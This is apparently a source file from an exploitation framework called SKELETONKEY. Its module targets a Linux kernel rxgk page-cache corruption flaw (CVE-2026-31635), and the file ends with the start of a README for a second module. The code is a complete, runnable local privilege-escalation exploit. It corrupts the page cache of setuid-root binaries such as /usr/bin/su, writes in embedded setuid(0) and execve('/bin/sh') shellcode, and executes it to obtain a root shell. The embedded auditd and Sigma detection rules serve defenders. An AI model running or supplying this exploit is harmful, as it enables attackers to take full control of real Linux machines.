#include <arpa/inet.h>
#include <net/if.h>
#ifdef __has_include
# if __has_include(<linux/rxrpc.h>)
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
# else
# define DD_NEED_RXRPC_DEFS
# endif
#else
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
#endif
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifdef DD_NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT 2
#define RXRPC_USER_CALL_ID 1
struct sockaddr_rxrpc {
unsigned short srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
unsigned short family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
#endif
#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS 17
#define AES_KEY_LEN 16
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
/* dd_verbose gates step/status chatter; errors always print. Set per
* invocation from !ctx->json before any helper runs. */
static int dd_verbose = 1;
#define LOG(fmt, ...) do { if (dd_verbose) \
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
/* Candidate setuid-root targets, in preference order. */
static const char *const dd_targets[] = {
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
"/usr/bin/passwd", "/usr/bin/chsh", NULL
};
/* --- helpers (faithful to the V12 PoC) --- */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
_exit(4);
}
} else {
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_proc("/proc/self/gid_map", map);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
}
static void xdr_put32(uint8_t **pp, uint32_t val)
{
uint32_t nv = htonl(val);
memcpy(*pp, &nv, 4);
*pp += 4;
}
static void xdr_put64(uint8_t **pp, uint64_t val)
{
xdr_put32(pp, (uint32_t)(val >> 32));
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
xdr_put32(pp, (uint32_t)len);
memcpy(*pp, data, len);
*pp += len;
size_t pad = (4 - (len & 3)) & 3;
if (pad) { memset(*pp, 0, pad); *pp += pad; }
}
static int build_rxgk_token(uint8_t *out, size_t maxlen,
const uint8_t *base_key, size_t keylen)
{
uint8_t *p = out;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
(uint64_t)ts.tv_nsec / 100ULL;
xdr_put32(&p, 0); /* flags */
xdr_put_data(&p, "poc.test", 8); /* cell */
xdr_put32(&p, 1); /* ntoken */
uint8_t tok[512];
uint8_t *tp = tok;
xdr_put32(&tp, RXGK_SECURITY_INDEX);
xdr_put64(&tp, now); /* begintime */
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
xdr_put64(&tp, 2); /* level = ENCRYPT */
xdr_put64(&tp, 864000000000ULL); /* lifetime */
xdr_put64(&tp, 0); /* bytelife */
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
xdr_put_data(&tp, base_key, keylen); /* key */
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
xdr_put_data(&tp, ticket, sizeof(ticket));
size_t toklen = (size_t)(tp - tok);
xdr_put32(&p, (uint32_t)toklen);
memcpy(p, tok, toklen);
p += toklen;
if ((size_t)(p - out) > maxlen) return -1;
return (int)(p - out);
}
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
uint8_t buf[1024];
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
close(fd); return -1;
}
int min_level = RXRPC_SECURITY_ENCRYPT;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
close(fd); return -1;
}
return fd;
}
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
char data[] = "TESTDATA";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx;
msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
return -1;
return 0;
}
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7F000001),
};
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}
static int dd_trigger_seq = 0;
/*
* Fire one splice-based page-cache corruption at the given file offset.
* Returns 1 on fire, -1 on setup error.
*/
static int fire(int target_fd, off_t splice_off, size_t splice_len,
const uint8_t *base_key, size_t keylen)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
long key = add_rxgk_key(keyname, base_key, keylen);
if (key < 0) return -1;
uint16_t port_S = 10000 + (rand() % 27000) * 2;
uint16_t port_C = port_S + 1;
int ret = -1;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) goto out_key;
int cli = setup_rxrpc_client(port_C, keyname);
if (cli < 0) goto out_udp;
if (initiate_call(cli, port_S, 1234) < 0)
goto out_cli;
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(hdr->epoch);
uint32_t cid = ntohl(hdr->cid);
uint32_t callN = ntohl(hdr->callNumber);
uint16_t svc = ntohs(hdr->serviceId);
uint16_t cport = ntohs(cli_addr.sin_port);
/* send challenge */
{
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
memset(ch, 0, sizeof(ch));
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
c->epoch = htonl(epoch);
c->cid = htonl(cid);
c->serial = htonl(0x10000);
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
c->securityIndex = RXGK_SECURITY_INDEX;
c->serviceId = htons(svc);
for (int i = 0; i < 20; i++)
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
struct sockaddr_in to = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
sendto(udp_srv, ch, sizeof(ch), 0,
(struct sockaddr *)&to, sizeof(to));
}
/* drain response(s) */
for (int i = 0; i < 3; i++) {
struct sockaddr_in src;
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
}
/* forge DATA packet: wire header from userspace, payload from page cache */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = RXGK_SECURITY_INDEX;
mal.serviceId = htons(svc);
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
goto out_cli;
int p[2];
if (pipe(p) < 0) goto out_cli;
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
close(p[0]); close(p[1]);
usleep(1000);
/* drain the error from the client socket (HMAC check fails as expected) */
int fl = fcntl(cli, F_GETFL);
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
for (int i = 0; i < 2; i++) {
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
recvmsg(cli, &m, 0);
}
ret = 1;
out_cli:
close(cli);
out_udp:
close(udp_srv);
out_key:
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
return ret;
}
/* --- sliding-window write with progress display --- */
static void dd_progress(int done, int total, int fires)
{
if (!dd_verbose) return;
int width = 40;
int filled = total ? (done * width / total) : 0;
int pct = total ? (done * 100 / total) : 0;
fprintf(stderr, "\r [");
for (int j = 0; j < width; j++)
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
if (done == total) fputc('\n', stderr);
fflush(stderr);
}
static int pagecache_write(int rfd, void *map, off_t base,
const uint8_t *target, int len, off_t file_size,
const char *label)
{
uint8_t key[16];
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
int total = 0;
int max_off = (int)(file_size - 28);
if (base + len - 1 > max_off)
len = max_off - (int)base + 1;
/* Find first byte that differs. We must write everything from there
* onward each round's 15-byte damage zone corrupts the next bytes. */
int start = 0;
for (int i = 0; i < len; i++) {
uint8_t cur;
pread(rfd, &cur, 1, base + i);
if (cur != target[i]) { start = i; break; }
if (i == len - 1) {
LOG("page cache already matches, skipping write");
return 0;
}
}
int need = len - start;
LOG("writing payload to %s (%d bytes from offset %d)",
label, need, (int)base + start);
dd_progress(0, need, 0);
for (int i = start; i < len; i++) {
off_t off = base + i;
uint8_t want = target[i];
uint8_t cur;
pread(rfd, &cur, 1, off);
if (cur == want && i > start)
continue;
int ok = 0;
for (int att = 0; att < 10000; att++) {
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
uint64_t r = seed;
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
memcpy(key, &r, 8);
memcpy(key + 8, &seed, 8);
size_t slen = 28;
if (off + (off_t)slen > file_size) slen = file_size - off;
if (slen < 16) slen = 16;
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
total++;
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
ok = 1;
dd_progress(i - start + 1, need, total);
break;
}
}
if (!ok) {
if (dd_verbose) fprintf(stderr, "\n");
ERR("byte %d/%d failed", i - start + 1, need);
return -1;
}
}
LOG("%d fires total", total);
return 0;
}
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
* Reproduced verbatim from the V12 PoC. */
static const uint8_t tiny_elf[] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
0xb0,0x69,0x0f,0x05, /* setuid(0) */
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
0x6a,0x3b,0x58, /* push 59; pop rax */
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
};
/* Pick the first readable setuid-root binary from the candidate list. */
static const char *dd_pick_target(void)
{
for (int i = 0; dd_targets[i]; i++) {
struct stat sb;
if (stat(dd_targets[i], &sb) == 0 &&
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
access(dd_targets[i], R_OK) == 0)
return dd_targets[i];
}
return NULL;
}
/* Best-effort page-cache eviction for one path. */
static void dd_evict(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
}
/* ---- detect ------------------------------------------------------- */
/*
* Active sentinel probe: fire the rxgk primitive against a disposable
* /tmp file and check whether the page cache was corrupted. Never
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
*/
static int dd_active_probe(void)
{
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
int fd = mkstemp(probe);
if (fd < 0) return -1;
uint8_t seed_buf[256];
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
close(fd); unlink(probe); return -1;
}
fsync(fd);
close(fd);
int rfd = open(probe, O_RDONLY);
if (rfd < 0) { unlink(probe); return -1; }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
int result = -1;
pid_t pid = fork();
if (pid == 0) {
setup_ns();
usleep(10000);
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
close(s);
uint8_t key[16];
for (int att = 0; att < 64; att++) {
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
continue;
/* corruption hits a 16-byte block at the offset */
for (int b = 16; b < 32; b++)
if (((const uint8_t *)map)[b] != 0xA5)
_exit(0); /* vulnerable */
}
_exit(1); /* primitive did not land */
}
if (pid > 0) {
int st;
waitpid(pid, &st, 0);
if (WIFEXITED(st)) {
if (WEXITSTATUS(st) == 0) result = 1;
else if (WEXITSTATUS(st) == 1) result = 0;
else result = -1; /* AF_RXRPC unavailable / error */
}
}
munmap(map, 4096);
close(rfd);
unlink(probe);
return result;
}
/*
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
* introduced in the 7.0 development cycle older mainline branches
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
* vulnerable code not present>. The fix is upstream commit
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
* RESPONSE authenticator length check"), shipped in Linux 7.0.
*
* The detect logic therefore is:
* - kernel < 7.0 SKELETONKEY_OK (predates the bug)
* - kernel 7.0 consult kernel_range; 7.0+ has the fix
* - --active empirical override (catches pre-fix 7.0-rc kernels
* or weird distro rebuilds the version check missed)
*/
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
};
static const struct kernel_range dirtydecrypt_range = {
.patched_from = dirtydecrypt_patched_branches,
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
sizeof(dirtydecrypt_patched_branches[0]),
};
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
"RESPONSE-handling code added in 7.0 — not applicable\n",
v->release);
return SKELETONKEY_OK;
}
/* Precondition: AF_RXRPC must be reachable for the primitive. */
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (s < 0) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
"(%s) — rxgk path not reachable here\n",
strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
close(s);
if (!dd_pick_target()) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
"binary — exploit has no carrier here\n");
return SKELETONKEY_PRECOND_FAIL;
}
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
if (ctx->active_probe) {
if (!ctx->json)
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
"probe (safe; /tmp only)\n");
int p = dd_active_probe();
if (p == 1) {
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
"CONFIRMED — rxgk in-place decrypt corrupts "
"the page cache (kernel %s)\n", v->release);
return SKELETONKEY_VULNERABLE;
}
if (p == 0) {
if (!ctx->json)
fprintf(stderr, "[+] dirtydecrypt: active probe did "
"not land — primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently fixed");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
"failed; falling back to version verdict\n");
}
if (patched_by_version) {
if (!ctx->json)
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
"(commit a2567217 in Linux 7.0; version-only check — "
"use --active to confirm)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
"(in 7.0-rc window before commit a2567217; version-only)\n"
" Confirm empirically: skeletonkey --scan --active\n",
v->release);
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit ------------------------------------------------------ */
/* Runs in a forked child: corrupt the target's page cache, then either
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
static void dd_child(const char *target_path, int no_shell)
{
int rfd = open(target_path, O_RDONLY);
if (rfd < 0) { perror("open target"); _exit(2); }
struct stat sb;
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
pid_t pid = fork();
if (pid < 0) { perror("fork"); _exit(2); }
if (pid == 0) {
setup_ns();
usleep(10000);
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
close(sock);
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
sb.st_size, target_path) < 0 ? 2 : 0);
}
int st;
waitpid(pid, &st, 0);
munmap(map, 4096);
close(rfd);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
ERR("page-cache corruption failed (status 0x%x)", st);
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
}
if (no_shell) {
LOG("--no-shell: page cache poisoned, shell not spawned");
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
_exit(0);
}
LOG("page cache poisoned; exec %s to claim root", target_path);
fflush(NULL);
execlp(target_path, target_path, (char *)NULL);
perror("execlp target");
_exit(2);
}
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
if (geteuid() == 0) {
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *target = dd_pick_target();
if (!target) {
ERR("no readable setuid-root binary to use as a carrier");
return SKELETONKEY_PRECOND_FAIL;
}
LOG("target carrier: %s", target);
/* Record the target so cleanup() knows what to evict. */
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
srand(time(NULL) ^ getpid());
pid_t pid = fork();
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (pid == 0)
dd_child(target, ctx->no_shell); /* never returns on shell path */
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st))
return SKELETONKEY_EXPLOIT_FAIL;
switch (WEXITSTATUS(st)) {
case 0: return SKELETONKEY_EXPLOIT_OK;
case 4: return SKELETONKEY_PRECOND_FAIL;
default: return SKELETONKEY_EXPLOIT_FAIL;
}
}
/* ---- cleanup ------------------------------------------------------ */
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
char target[256] = {0};
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
if (sf >= 0) {
ssize_t n = read(sf, target, sizeof(target) - 1);
if (n > 0) target[n] = '\0';
close(sf);
}
if (target[0]) {
LOG("evicting %s from page cache", target);
dd_evict(target);
unlink("/tmp/skeletonkey-dirtydecrypt.target");
} else {
LOG("no recorded target; evicting all candidate carriers");
for (int i = 0; dd_targets[i]; i++)
dd_evict(dd_targets[i]);
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- detection rules (embedded) ----------------------------------- */
static const char dd_auditd[] =
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
"# rxrpc security keys added to the keyring\n"
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
"# splice() drives the page-cache pages into the forged DATA packet\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
static const char dd_sigma[] =
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
"status: experimental\n"
"description: |\n"
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
" followed by modification of a setuid-root binary or /etc/passwd.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" modification:\n"
" type: 'PATH'\n"
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
" not_root:\n"
" auid|expression: '!= 0'\n"
" condition: modification and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
const struct skeletonkey_module dirtydecrypt_module = {
.name = "dirtydecrypt",
.cve = "CVE-2026-31635",
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
.family = "dirtydecrypt",
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
.detect = dd_detect,
.exploit = dd_exploit,
.mitigate = NULL,
.cleanup = dd_cleanup,
.detect_auditd = dd_auditd,
.detect_sigma = dd_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_dirtydecrypt(void)
{
skeletonkey_register(&dirtydecrypt_module);
}
@@ -0,0 +1,12 @@
/*
* dirtydecrypt_cve_2026_31635 SKELETONKEY module registry hook
*/
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirtydecrypt_module;
#endif
@@ -0,0 +1,87 @@
# fragnesia — CVE-2026-46300
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
> a vulnerable-kernel VM** — see _Verification status_ below.
## Summary
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
escalation. `skb_try_coalesce()` fails to propagate the
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
buffers — so the kernel forgets that a fragment is externally backed by
page-cache pages spliced in from a file. The ESP-in-TCP receive path
